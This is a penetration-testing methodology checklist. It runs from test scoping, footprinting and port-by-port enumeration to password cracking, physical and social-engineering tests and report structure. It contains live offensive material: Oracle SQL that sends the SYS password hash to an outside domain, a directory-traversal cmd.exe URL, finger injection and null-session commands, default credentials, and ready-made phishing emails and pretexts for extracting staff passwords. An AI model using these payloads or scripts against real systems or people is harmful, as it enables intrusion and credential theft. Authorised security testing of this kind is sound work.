

Penetration Testing Framework v0.21

Authors: Toggmeister (a.k.a Kev Orrey) and Lee J Lawson

Penetration Testing Framework

Pre-Inspection Visit

Introduction

- Authority to test
- Proposal
- Capability Statement

Accreditation Status

- Interim
- Re-accreditation
- Full

Scope of Test

Stage of Lifecycle

- Interim Operating Capability
- Final Operating Capability
- Major upgrade

Known waivers/exemptions

- Known to Accreditor
- Risk Assessments completed
- Exemptions from test
 - Development builds
 - Joint-owned equipment
 - Laptops
 - Trial Applications
 - Unstable Hosts

Contractual constraints

- Service Level Agreement in place
- Waiver letter required for test

Local equipment requirement

- CAT5 taps and speed
- Fibre taps/converter requirement
- Local Internet access

- Filtered
- Unfiltered
- Downloads/exports allowed

- Office space
- Power available
- Refreshments

Local manpower requirement

- Application administrators
- Database administrators
- Network administrators
- Operating System administrators

Points of Contact

- Accreditor
- Database Administrator
- Local Security Officer
- System Administrator
- Networking Administrator

Reporting Timescales

- Normal timescale
- Local requested timescale
- Privacy/Commercial Protective Marking required
- Distribution List

Previous tests & reports

Penetration Tests

- Reason for test
- Who carried out
- When carried out

Vulnerability Assessments

- Reason for test
- Who carried out
- When carried out

Release timescale

- Start of test
- During test
- End of test

Physical inspection

- Major work areas
- Network equipment room
- Server room

Network Footprinting

1 Whois

- 1 ARIN
- 2 RIPE
- 3 APNIC

4 [Shazou](#)

2 Google

General Information

Financial

Phone book

[Google Hacking Database](#)

Web Searching

Linked To

Linked From

Forum Entries

Email Addresses

Contact Details

GHDB Results

Newsgroups/forums

Back end files

.exe / .txt / .doc / .ppt / .pdf / .vbs / .pl / .sh / .bat / .sql / .xls / .mdb / .conf

3 DNS Retrieval

SOA Records

MX Records

NS Records

A Records

PTR Records

SRV Records

HINFO Records

TXT Records

Database Settings

Version.bind

Serial

Refresh

Retry

Expiry

Minimum

Sub Domains

Internal IP ranges

Reverse DNS for IP Range

Zone Transfer

4 Tools/Websites

[Cheops-ng](#)

[Sam Spade](#)

[www.dnsstuff.com](#)

5 Social Engineering

6 Dumpster Diving

7 Web Site copy

[htttrack](#)

- [teleport pro](#)
- [Black Widow](#)

Discovery & Probing

Default Port Lists

- [Windows](#)
- [*nix](#)

Active Hosts

- Open TCP Ports
- Closed TCP Ports
- Open UDP Ports
- Closed UDP Ports
- Service Probing

SMTP Mail Bouncing

Banner Grabbing

Other

HTTP

Commands

- JUNK / HTTP/1.0
- HEAD / HTTP/9.3
- OPTIONS / HTTP/1.0
- HEAD / HTTP/1.0

Extensions

- WebDAV
- ASP.NET
- Frontpage
- OWA
- IIS ISAPI
- PHP
- OpenSSL

HTTPS

- Use stunnel to encapsulate traffic.

SMTP

POP3

FTP

- If banner altered, attempt anon logon and execute: 'quote help' and 'syst' commands.

ICMP Responses

- Type 3 (Port Unreachable)
- Type 8 (Echo Request)
- Type 13 (Timestamp Request)
- Type 15 (Information Request)
- Type 17 (Subnet Address Mask Request)
- Responses from broadcast address

Source Port Scans

- TCP/UDP 53 (DNS)
- TCP 20 (FTP Data)
- TCP 80 (HTTP)

TCP/UDP 88 (Kerberos)

Firewall Assessment

Firewall

TCP/UDP/ICMP responses

OS Fingerprint

Tools

[1 nmap](#)

[1](#) nmap -n -A -P0 -p- -T Agressive -iL nmap.targetlist -oX nmap.syn.results.xml

[2](#) nmap -sU -P0 -v -O -p 1-30000 -T Agressive -iL nmap.targetlist > nmap.udp.results

[3](#) nmap -sV -P0 -v -p 21,22,23,25,53,80,443,161 -iL nmap.targets > nmap.version.results

[2 xprobe2](#)

xprobe2 192.168.1.1

[3 amap](#)


amap [-A|-B|-P|-W] [-lbuSRHUdqv] [[-m] -o <file>] [-D <file>] [-t/-T sec] [-c cons] [-C retries] [-p proto] [-i <file>] [target port [port] ...]

amap -bqv 192.168.1.1 80

[4 firewall](#)

[3](#) firewall -p [protocol] -d [destination_port] -s [source_port] [internal_IP] [gateway_IP]

[5 nbtscan](#)

[5](#) nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename) | (<scan_range>) 

[6 hping](#)

hping ip_address

[7 scanrand](#)

scanrand ip_address:all

[sinfo](#)

./sinfo.pl -i -p

[unicornscan](#)

unicornscan [options `b:B:d:De:EFhi:L:m:M:pP:q:r:R:s:St:T:w:W:vVZ:`] IP_ADDRESS/ CIDR_NET_MASK: S-E

Enumeration

FTP port 21 open

Run command telnet ip_address 21 (to gain banner)

Run command ftp ip_address

Check for anonymous access

ftp IP_Address Username: anonymous OR anon Password: any@email.com

[Run hydra brute force](#)

[Run Brutus](#)

SSH port 22 open

[1](#) Fingerprint server

[1](#) telnet ip_address 22 (banner grab)

Cisco SSH 1.25 telnet 192.168.1.1 22 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^'. SSH-1.5-Cisco-1.25

Open SSH 2.0 telnet 192.168.1.1 22 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^'. SSH-2.0-OpenSSH_3.5p1

SSH Communications SSH 2.2.0 telnet 192.168.1.1 22 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^'. SSH-

1.99-2.2.0

F-Secure SSH 1.3.6 telnet 192.168.1.1 22 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^'. SSH-1.5-1.3.6_F-SECURE_SSH

[scanssh](#)

scanssh -p -r -e excludes random(no.)/Network_ID/Subnet_Mask

[Password guessing](#)

[ssh root@ip_address](#)

[guess-who](#)

[Run hydra brute force](#)

[Examine sshd_config or similar files](#)

[Review hostkey files](#)

[Telnet port 23 open](#)

[Fingerprint server](#)

[telnetfp](#)

[telnet ip_address](#)

Common Banner List OS / Banner Solaris 8 / SunOS 5.8 Solaris 2.6 / SunOS 5.6 Solaris 2.4 or 2.5.1/ Unix(r) System V Release 4.0 (hostname) SunOS 4.1.x / SunOS Unix (hostname) FreeBSD / FreeBSD/i386 (hostname) (tty1) NetBSD / NetBSD/i386 (hostname) (tty1) OpenBSD / OpenBSD/i386 (hostname) (tty1) Red Hat 8.0 / Red Hat Linux release 8.0 (Psyche) Debian 3.0 / Debian GNU/Linux 3.0 / hostname SGI IRIX 6.x / IRIX (hostname) IBM AIX 4.1.x / AIX Version 4 (C) Copyrights by IBM and by others 1982, 1994. IBM AIX 4.2.x or 4.3.x/ AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996. Nokia IPSO / IPSO (hostname) (tty0) Cisco IOS / User Access Verification Livingston ComOS/ ComOS - Livingston PortMaster

[Password Attack](#)

[Common passwords Manufacturer / Username-password combinations Cisco / cisco, c, !cisco, enable, system, admin, router 3Com / admin, adm, tech, synnet, manager, monitor, debug, security Bay Networks / security, manager, user D-Link / private, admin, user, year2000, d-link Xyplex / system, access](#)

[Run hydra brute force](#)

[Run Brutus](#)

[Sendmail Port 25 open](#)

telnet ip_address 25 (banner grab)

VRFY username (verifies if username exists - enumeration of accounts)

EXPN username (verifies if username is valid - enumeration of accounts)

Mail Spoofing - HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT

[DNS port 53 open](#)

[nslookup](#)

nslookup [-option ...] [host-to-find | - [server]]

[dig](#)

dig [@server] [-b address] [-c class] [-f filename] [-k filename] [-p port#] [-t type] [-x addr] [-y name:key] [-4] [-6] [name] [type] [class] [queryopt...]

[host](#)

host [-aCdlnrTwv] [-c class] [-N ndots] [-R number] [-t type] [-W wait] name [server]

[txdns](#)

- `txdns -rt -t domain_name`
- `txdns -x 50 -bb domain_name`
- `txdns --verbose -fm wordlist.dic --server ip_address -rr SOA domain_name -h c: \hostlist.txt`

TFTP port 69 open

- Solarwinds TFTP server
- `tftp ip_address PUT local_file`
- `tftp ip_address GET conf.txt (or other files)`

Finger Port 79 open

Finger scans

- `finger 'a b c d e f g h' @ target`
- `finger '1 2 3 4 5 6 7 8 9 0'@target`
- `finger user@target`
- `finger 0@target`
- `finger .@target`
- `finger **@target`
- `finger test@target`

Finger commands

- `finger "/bin/id@target"`
- `finger "/bin/ls -a /@target"`

Finger Bounce

- `finger user@host@victim`
- `finger @internal@external`

Web Ports 80, 8080 etc. open

- 1** Use Firefox to enumerate information (see if web server running etc.)
- 2** Telnet ip_address port (banner grab)
- 3** [Use Nstealth](#)
- 4** [Use Wikto](#)
- 5** [Use Nikto](#)
 - `nikto [-h target] [options]`
- 6** Examine httpd.conf/ windows config files
- 7** Proxy Testing
 - [Suru](#)
 - [Crowbar](#)
 - [Paros](#)
 - [Burpsuite](#)
- [httpprint](#)

NTP Port 123 open

- 1** `ntpdc -c monlist IP_ADDRESS`
- 2** `ntpdc -c sysinfo IP_ADDRESS`
- 3** `ntpq`
 - `host`
 - `hostname`
 - `ntpversion`

version

readlist

SNMP port 161 open

1 Default Community Strings

Default: public & private Ciso: cable-docsis & ILMI

2 MIB

Windows NT

1.3.6.1.2.1.1.5 Hostnames

1.3.6.1.4.1.77.1.4.2 Domain Name

1.3.6.1.4.1.77.1.2.25 Usernames

1.3.6.1.4.1.77.1.2.3.1.1 Running Services

1.3.6.1.4.1.77.1.2.27 Share Information

[Solarwinds MIB walk](#)

3 [Solarwinds SNMP Brute Force](#)

4 [Getif](#)

MS Windows NetBIOS Ports 135-139,445 open

1 Null Session

net use \\192.168.1.1\ipc\$ "" /u:""

net view \\ip_address

[Dumpsec](#)

2 [Run superscan](#)

Enumeration tab.

3 [Run enum](#)

enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip>

4 [Run winfo](#)

5 [Run Hydra brute force](#)

6 [Run Brutus](#)

7 [Run NAT \(NetBIOS Auditing Tool\)](#)

[Run Cain & Abel](#)

Network Tab

SQL Server Port 1433 1434 open

1 [SQLPing2](#)

2 [SQL Recon](#)

3 [SQL Dict](#)

4 [SQLAT](#)

5 [Run Hydra brute force](#)

6 [piggy](#)

7 [SQLPAT](#)

sqlbf -u hashes.txt -d dictionary.dic -r out.rep - Dictionary Attack

sqlbf -u hashes.txt -c default.cm -r out.rep - Brute-Force Attack

[SQLPing](#)

sqlping ip_address/hostname

[SQLver](#)

[SQLpoke](#)

[SQLlhf](#)

[ForceSQL](#)

Citrix port 1494 open

Scan

TCP 1494

Version

Published Applications

[/citrix-pa-scan {IP_address/file | - | random} \[timeout\]](#)

[citrix-pa-proxy.pl IP_to_proxy_to \[Local_IP\]](#)

Default Domain

Oracle Port 1521 Open

[Run WinSID](#)

[Run Oracle TNSLSNR](#)

Will respond to: [ping] [version] [status] [service] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file] [show] [spawn] [stop]

[Run TNSCmd](#)

perl tnscommand.pl -h ip_address

perl tnscommand.pl version -h ip_address

perl tnscommand.pl status -h ip_address

perl tnscommand.pl -h ip_address --cmdsize (40 - 200)

[Run LSNrCheck](#)

[Run OAT](#)

sh opwg.sh -s ip_address

opwg.bat -s ip_address

sh oquery.sh -s ip_address -u username -p password -d SID OR c:\oquery -s ip_address -u username -p password -d SID

[Run OScanner](#)

sh oscanner.sh -s ip_address

oscanner.exe -s ip_address

sh reportviewer.sh oscanner_saved_file.xml

reportviewer.exe oscanner_saved_file.xml

[Run Oracle Security Check \(needs credentials\)](#)

[Run NGS Squirrel for Oracle](#)

[Use DBVisualisior](#)

[Sql scripts from pentest.co.uk](#)

Manual sql input of previously reported vulnerabilities

[Understanding SQL Injection](#)

[SQL Injection walkthrough](#)

[SQL Injection by example](#)

[Advanced SQL Injection in Oracle databases](#)

[Blind SQL Injection](#)

[Oracle default password list](#)

[TNSVer](#)

tnsver host [port]

[Service Register](#)

Service-register.exe ip_address

[DNS/HTTP Enumeration](#)

SQL> SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL; SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL
 SQL> select utl_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;

[TCP Scan](#)

[breakable \(Targets Application Server Port\)](#)

breakable.exe host url [port] [v] host ip_address of the Oracle Portal Server url PATH_INFO i.e. /pls/orasso port TCP port Oracle Portal Server is serving pages from v verbose

[SQLInjector \(Targets Application Server Port\)](#)

sqlinjector -t ip_address -a database -f query.txt -p 80 -gc 200 -ec 500 -k NGS SOFTWARE -gt SQUIRREL
 sqlinjector.exe -t ip_address -p 7777 -a where -gc 200 -ec 404 -qf q.txt -f plsqli.txt -s oracle

NFS Port 2049 open

- 1 showmount -e hostname/ip_address
- 2 mount -t nfs ip_address:/directory_found_exported /local_mount_point
- 3 Interact with NFS share and try to add/delete

Compaq/HP Insight Manager Port 2301,2381open

1 Authentication Method

- Host OS Authentication
- Default Authentication
- [Default Passwords](#)

2 [Wikto](#)

3 [Nstealth](#)

4 [Hydra](#)

RDesktop port 3389 open

- Remote Desktop Connection
- [TSGrinder](#)

Sybase Port 5000+ open

sybase-version ip_address from NGS

[Use DBVisualiser](#)

[Sybase Security checksheet](#)

- Copy output into excel spreadsheet
- Evaluate mis-configured parameters

Manual sql input of previously reported vulnerabilities

- [Advanced SQL Injection in SQL Server](#)
- [More Advanced SQL Injection](#)

VNC port 5900^ open

Scans

5900^ for direct access. 5800 for HTTP access.

Password Attacks

Remote

Password Guess

[vncrack](#)

Password Crack

[vncrack](#)

Packet Capture

[Phoss](#)

Local

Registry Locations

HKEY_CURRENT_USER\Software\ORL\WinVNC3

HKEY_USERS\DEFAULT\Software\ORL\WinVNC3

Decryption Key

0x238210763578887

X11 port 6000^ open

xwd

xwd -display 192.168.0.1:0 -root -out 192.168.0.1.xpm

Authentication Method

Xauth

Xhost

List open windows

Screenshots

Keystrokes

Received

Transmitted

[Default Passwords \(Examine list\)](#)

[Passwords A](#)

[Passwords B](#)

[Passwords C](#)

[Passwords D](#)

[Passwords E](#)

[Passwords F](#)

[Passwords G](#)

[Passwords H](#)

[Passwords I](#)

[Passwords J](#)

[Passwords K](#)

[Passwords L](#)

[Passwords M](#)

[Passwords N](#)

- [Passwords O](#)
- [Passwords P](#)
- [Passwords R](#)
- [Passwords S](#)
- [Passwords T](#)
- [Passwords U](#)
- [Passwords V](#)
- [Passwords W](#)
- [Passwords X](#)
- [Passwords Y](#)
- [Passwords Z](#)
- [Passwords \(Numeric\)](#)

Vulnerability Assessment

Manual

- Patch Levels
- Confirmed Vulnerabilities
 - Severe
 - High
 - Medium
 - Low

Automated

- Reports
- Vulnerabilities
 - Severe
 - High
 - Medium
 - Low

Tools

- 1** [GFI](#)
- 2** [Nessus \(Linux\)](#)
 - [Nessus \(Windows\)](#)
- 3** [NGS Typhon](#)
- 4** [NGS Squirrel for Oracle](#)
- 5** [NGS Squirrel for SQL](#)
- [SARA](#)
- [MatriXay](#)
- [BiDiBlah](#)

Network Backbone

Passive Sniffing

- Usernames/Passwords
- Email
 - POP3
 - SMTP

- FTP
- HTTP
- HTTPS
- RDP
- VOIP
- Other

Active Sniffing

ARP Cache Poisoning

- Usernames/Passwords
- Email
 - POP3
 - SMTP

- FTP
- HTTP
- HTTPS
- RDP
- VOIP
- Other

- DNS Poisoning
- Routing Protocols

Tools

[Wireshark \(Formerly Ethereal\)](#)

- ip.src == ip_address
- ip.dst == ip_address
- tcp.dstport == port_no.
- ! ip.addr == ip_address
- (ip.addr eq ip_address and ip.addr eq ip_address) and (tcp.port eq 1829 and tcp.port eq 1863)

[Cain & Abel](#)

[Cisco-Torch](#)

- ./cisco-torch.pl <options> <IP,hostname,network> or ./cisco-torch.pl <options> -F <hostlist>

[NTP-Fingerprint](#)

- perl ntp-fingerprint.pl -t [ip_address]

[Yersinia](#)

[p0f](#)

- ./p0f [-f file] [-i device] [-s file] [-o file] [-w file] [-Q sock] [-u user] [-FXVONDUKASCMRqtpvdlr] [-c size] [-T mn] ['filter rule']

- Manual Check (Credentials required)

Password cracking

[1 John the Ripper](#)

- [1](#) ./unshadow passwd shadow > file_to_crack
- [2](#) ./john -single file_to_crack
- [3](#) ./john -w=location_of_dictionary_file -rules file_to_crack
- [4](#) ./john -show file_to_crack
- [5](#) ./john --incremental:All file_to_crack

² [Cain & Abel](#)

³ [LCP](#)

⁴ [L0phtcrack](#)

Domain credentials

Sniffing

pwdump import

sam import

⁵ [Rainbow crack](#)

[lophcrack](#)

rainbow tables

rcrack c:\rainbowcrack*.rt -f pwfile.txt

⁶ [pwdump](#)

pwdump [-h][[-o][[-u][[-p] machineName

Physical Security

Building Security

Meeting Rooms

Check for active network jacks.

Check for any information in room.

Lobby

Check for active network jacks.

Does receptionist/guard leave lobby?

Accessible printers? Print test page.

Obtain phone/personnel listing.

Communal Areas

Check for active network jacks.

Check for any information in room.

Listen for employee conversations.

Room Security

Resistance of lock to picking.

What type of locks are used in building? Pin tumblers, padlocks, abinet locks, dimple keys, proximity sensors?

Ceiling access areas.

Can you enter the ceiling space (above a suspended ceiling) and enter secured rooms?

Windows

Check windows/doors for visible intruder alarm sensors.

Check visible areas for sensitive information.

Can you video users logging on?

Perimeter Security

Fence Security

Attempt to verify that the whole of the perimeter fence is unbroken.

Exterior Doors

If there is no perimeter fence, then determine if exterior doors are secured, guarded and monitored etc.

Guards

Patrol Routines

Analyse patrol timings to ascertain if any holes exist in the coverage.

Communications

Intercept and analyse guard communications. Determine if the communication methods can be used to aid a physical intrusion.

Entry Points

Guarded Doors

Piggybacking

Attempt to closely follow employees into the building without having to show valid credentials.

Fake ID

Attempt to use fake ID to gain access.

Access Methods

Test 'out of hours' entry methods

Unguarded Doors

Identify all unguarded entry points.

Are doors secured?

Check locks for resistance to lock picking.

Windows

Check windows/doors for visible intruder alarm sensors.

Attempt to bypass sensors.

Check visible areas for sensitive information.

Office Waste

Dumpster Diving Attempt to retrieve any useful information from ToE refuse. This may include : printed documents, books, manuals, laptops, PDA's, USB memory devices, CD's, Floppy discs etc

Social Engineering

Remote

Phone

Scenarios

IT Department. "Hi, it's Zoe from the helpdesk. I am doing a security audit of the network and I need to re-synchronise the Active Directory usernames and passwords. This is so that your logon process in the morning receives no undue delays" If you are calling from a mobile number, explain that the helpdesk has been issued a mobile phone for 'on call' personnel.

Results

Contact Details

Name

Phone number

Email

Room number

Department

Role

Email

Scenarios

Hi there, I am currently carrying out an Active Directory Health Check for TARGET COMPANY and require to re-synchronise some outstanding accounts on behalf of the IT Service Desk. Please reply to me detailing the username and password you use to logon to your desktop in the morning. I have checked with MR JOHN DOE, the IT Security Advisor and he has authorised this request. I will then populate the database with your account details ready for re-synchronisation with Active Directory such that replication of your account will be re-established (this process is transparent to the user and so requires no further action from yourself). We hope that this exercise will reduce the time it takes for some users to logon to the network. Best Regards, Andrew Marks

Good Morning, The IT Department had a critical failure last night regarding remote access to the corporate network, this will only affect

users that occasionally work from home. If you have remote access, please email me with your username and access requirements e.g. what remote access system did you use? VPN and IP address etc, and we will reset the system. We are also using this 'opportunity' to increase the remote access users, so if you believe you need to work from home occasionally, please email me your usernames so I can add them to the correct groups. If you wish to retain your current credentials, also send your password. We do not require your password to carry out the maintenance, but it will change if you do not inform us of it. We apologise for any inconvenience this failure has caused and are working to resolve it as soon as possible. We also thank you for your continued patience and help. Kindest regards, lee
EMAIL
SIGNATURE

Software

Results

Contact Details

Name

Phone number

Email

Room number

Department

Role

Other

Local

Personas

Name

Suggest same 1st name.

Phone

Give work mobile, but remember they have it!

Email

Have a suitable email address

Business Cards

Get cards printed

Contact Details

Name

Phone number

Email

Room number

Department

Role

Scenarios

New IT employee

New IT employee. "Hi, I'm the new guy in IT and I've been told to do a quick survey of users on the network. They give all the worst jobs to the new guys don't they? Can you help me out on this?" Get the following information, try to put a "any problems with it we can help with?" slant on it. Username Domain Remote access (Type - Modem/VPN) Remote email (OWA) Most used software? Any comments about the network? Any additional software you would like? What do you think about the security on the network? Password complexity etc. Now give reasons as to why they have complexity for passwords, try and get someone to give you their password and explain how you can make it more secure. "Thanks very much and you'll see the results on the company boards soon."

Fire Inspector

Turning up on the premise of a snap fire inspection, in line with the local government initiatives on fire safety in the workplace. Ensure you have a suitable appearance - High visibility jacket - Clipboard - ID card (fake). Check for: number of fire extinguishers, pressure, type. Fire exits, accessibility etc. Look for any information you can get. Try to get on your own, without supervision!

Results

Maps

Satellite Imagery

Building layouts

Other

Wireless Assessment

Site Map

Radio Map

Lines of Sight

Signal Coverage

Standard Antenna

Directional Antenna

Physical Map

Triangulate AP's

Satellite Imagery

Network Map

MAC Filter

Authorised MAC Addresses

Spoof MAC and associate

Encryption Key

WEP

Key

Crack Time

Packet Dumps

WPA PSK

Key

Crack Time

Packet Dumps

RADIUS

Access Points

ESSID

Broadcast?

BSSID's

Vendor/Version

Channel

Default Credentials

Wireless Clients

MAC Addresses

Card Vendor/Version

OS Details

Peer To Peer Mode

Intercepted Traffic

Encrypted

Clear Text

Broadcast

Server Specific Tests

Databases

Direct Access Interrogation

MS SQL Server

Ports

UDP

TCP

Version

SQL Server Resolution Service (SSRS)

Other

osql

Attempt default/common accounts

Retrieve data

Extract sysxlogins table

Oracle

Ports

UDP

TCP

TNS Listener

VSNUM Converted to hex

Ping / version / status / devug / reload / services / save_config / stop

Leak attack

oat

Default Account/Passwords

SID's

SQL Plus

MySQL

Ports

UDP

TCP

Version

telnet 10.1.1.1 3306

Users/Passwords

mysql.user

Other

Scans

Default Ports

Non-Default Ports

Instance Names

Versions

Password Attacks

Sniffed Passwords

Cracked Passwords

Hashes

Direct Access Guesses

Vulnerability Assessment

Automated

Reports

Vulnerabilities

Severe

High

Medium

Low

Manual

Patch Levels

Missing Patches

Confirmed Vulnerabilities

Severe

High

Medium

Low

Mail

Scans

Fingerprint

Manual

Automated

Spoofable

Telnet spoof

telnet target_IP 25 helo target.com mail from: XXXX@XXX.com rcpt to: administrator@target.com data X-Sender: XXXX@XXX.com X-Originating-IP: [192.168.1.1] X-Originating-Email: [XXXX@XXX.com] MIME-Version: 1.0 To: <administrator@target.com> From: <XXXX@XXX.com > Subject: Important! Account check required Content-Type: text/html Content-Transfer-Encoding: 7bit Dear Valued Customer, The corporate network has recently gone through a critical update to the Active Directory, we have done this to increase security of the network against hacker attacks to protect your private information. Due to this, you are required to log onto the following website with your current credentials to ensure that your account does not expire. Please go to the following website and log in with your account details. www.target.com/login Online Security Manager. Target Ltd XXXX@XXX.com .

VPN

Scanning

500 UDP IPSEC

1723 TCP PPTP

443 TCP/SSL

nmap -sU -P0 -p 500 80.75.68.22-27

ipsecscan 80.75.68.22 80.75.68.27

Fingerprinting

ike-scan --showbackoff 80.75.68.22 80.75.68.27

PSK Crack

ikeprobe 80.75.68.27

sniff for responses with C&A or ikecrack

Web

Vulnerability Assessment

Automated

- Reports
- Vulnerabilities
 - Severe
 - High
 - Medium
 - Low

Manual

- Patch Levels
 - Missing Patches
- Confirmed Vulnerabilities
 - Severe
 - High
 - Medium
 - Low

Permissions

- PUT /test.txt HTTP/1.0
- CONNECT mail.another.com:25 HTTP/1.0
- POST http://mail.another.com:25/ HTTP/1.0 Content-Type: text/plain Content-Length: 6

Scans

Fingerprinting

- Other
- HTTP
 - Commands
 - JUNK / HTTP/1.0
 - HEAD / HTTP/9.3
 - OPTIONS / HTTP/1.0
 - HEAD / HTTP/1.0
 - GET /images HTTP/1.0
 - PROPFIND / HTTP/1.0
 - Modules
 - WebDAV
 - ASP.NET
 - Frontpage
 - OWA
 - IIS ISAPI
 - PHP
 - OpenSSL
 - File Extensions
 - .ASP, .HTM, .PHP, .EXE, .IDQ

HTTPS

- Commands
 - JUNK / HTTP/1.0
 - HEAD / HTTP/9.3
 - OPTIONS / HTTP/1.0
 - HEAD / HTTP/1.0
- Commands

- JUNK / HTTP/1.0
- HEAD / HTTP/9.3
- OPTIONS / HTTP/1.0
- HEAD / HTTP/1.0

File Extensions

- .ASP, .HTM, .PHP, .EXE, .IDQ

Directory Traversal

- http://www.target.com/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

Penetration

Password Attacks

Known Accounts

- Identified Passwords
- Unidentified Hashes

Default Accounts

- Identified Passwords
- Unidentified Hashes

Exploits

Successful Exploits

Accounts

Passwords

- Cracked
- Uncracked

Groups

Other Details

Services

Backdoor

Connectivity

Unsuccessful Exploits

Tools

[Metasploit](#)

Manual SQL Injection

- [Understanding SQL Injection](#)
- [SQL Injection walkthrough](#)
- [SQL Injection by example](#)
- [Blind SQL Injection](#)
- [Advanced SQL Injection in SQL Server](#)
- [More Advanced SQL Injection](#)
- [Advanced SQL Injection in Oracle databases](#)

[SQL Power Injector](#)

[SecurityForest](#)

SPI Dynamics WebInspect

[Core Impact](#)

[Cisco Global Exploiter](#)

[PIXDos](#)

perl PIXdos.pl [--device=interface] [--source=IP] [--dest=IP] [--sourcemac=M AC] [--destmac=MAC] [--port=n]

[CANVAS](#)

Final Report

Introduction

- Date carried out
- Network Details

Testing Scope

- Actual Test carried out
- Problems Encountered
- Out of Scope items

Executive Summary (Brief and Non-technical)

OS Security issues discovered

- Exploited
- Unable to exploit - problem area

Application Security issues discovered

- Exploited
- Unable to exploit - problem area

Physical Security issues discovered

- Exploited
- Unable to exploit - problem area

Personnel Security issues discovered

- Exploited
- Unable to exploit - problem area

General Security issues discovered

- Exploited
- Unable to exploit - problem area

Technical Summary

OS Security issues discovered

File System Security

- Details of finding
- Recommendation and fix

Password Policy

- Details of finding
- Recommendation and fix

Auditing Policy

- Details of finding
- Recommendation and fix

Patching Policy

- Details of finding
- Recommendation and fix

Anti-virus Policy

- Details of finding
- Recommendation and fix

Trust Policy

- Details of finding

Recommendation and fix

Web Server Security

File System Security

Details of finding

Recommendation and fix

Password Policy

Details of finding

Recommendation and fix

Auditing Policy

Details of finding

Recommendation and fix

Patching Policy

Details of finding

Recommendation and fix

Lockdown Policy

Details of finding

Recommendation and fix

Trust Policy

Details of finding

Recommendation and fix

Database Server Security

File System Security

Details of finding

Recommendation and fix

Password Policy

Details of finding

Recommendation and fix

Auditing Policy

Details of finding

Recommendation and fix

Patching Policy

Details of finding

Recommendation and fix

Lockdown Policy

Details of finding

Recommendation and fix

Trust Policy

Details of finding

Recommendation and fix

General Application Security

File System Security

Details of finding

Recommendation and fix

Password Policy

Details of finding

<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Auditing Policy
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Patching Policy
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Lockdown Policy
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Trust Policy
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Business Continuity Policy
<input type="checkbox"/> Backup Policy
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Replacement premises provisioning
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Replacement personnel provisioning
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Replacement software provisioning
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Replacement hardware provisioning
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Replacement document provisioning
<input type="checkbox"/> Details of finding
<input type="checkbox"/> Recommendation and fix
<input type="checkbox"/> Annexes
<input type="checkbox"/> Glossary of Terms
<input type="checkbox"/> Buffer Overflow
<input type="checkbox"/> Normally takes the form of inputting an overly long string of characters or commands that the system cannot deal with. Some functions have a finite space available to store these characters or commands and any extra characters etc. over and above this will then start to overwrite other portions of code and in worse case scenarios will enable a remote user to gain a remote command prompt with the ability to interact directly with the local machine.
<input type="checkbox"/> Denial of Service
<input type="checkbox"/> This is an aimed attacks designed to deny a particular service that you could rely on to conduct your business. These are attacks designed to say overtax a web server with multiple requests which are intended to slow it down and possibly cause it to crash. Traditionally such attacks emanated from one particular source.
<input type="checkbox"/> Directory Traversal
<input type="checkbox"/> Basically when a user or function tries to “break” out of the normal parent directory specified for the application and traverse elsewhere

within the system, possibly gaining access to sensitive files or directories in the process.

Social Engineering

Normally uses a limited range of distinct subject matter to entice users to open and run an attachment say. Usually associated with phishing/E-mail type attacks. The main themes are: • Sexual - Sexual ideas/pictures/websites, • Curiosity - Friendly themes/appealing to someone's passion or obsession, • Fear - Reputable sources/virus alert, • Authority - Current affairs/bank e-mails/company e-mails.

SQL Injection etc.

Basically when a low privileged user interactively executes PL/SQL commands on the database server by adding additional syntax into standard arguments, which is then passed to a particular function enabling enhanced privileges.

Network Map/Diagram

Accompanying Scan Results

Test Type

White-Box

The testing team has complete carte blanche access to the testing network and has been supplied with network diagrams, hardware, operating system and application details etc, prior to a test being carried out. This does not equate to a truly blind test but can speed up the process a great deal and leads to a more accurate results being obtained. The amount of prior knowledge leads to a test targeting specific operating systems, applications and network devices that reside on the network rather than spending time enumerating what could possibly be on the network. This type of test equates to a situation whereby an attacker may have complete knowledge of the internal network.

Black-Box

No prior knowledge of a company network is known. In essence an example of this is when an external web based test is to be carried out and only the details of a website URL or IP address is supplied to the testing team. It would be their role to attempt to break into the company website/ network. This would equate to an external attack carried out by a malicious hacker.

Grey-Box

The testing team would simulate an attack that could be carried out by a disgruntled, disaffected staff member. The testing team would be supplied with appropriate user level privileges and a user account and access permitted to the internal network by relaxation of specific security policies present on the network i.e. port level security.

Vulnerability Definitions

Critical

A vulnerability allowing remote code execution, elevation of privilege or a denial of service on an affected system.

Important

A security weakness, whose exploitation may result in the compromise of the Confidentiality, Integrity or Availability of the company's data.

Information Leak

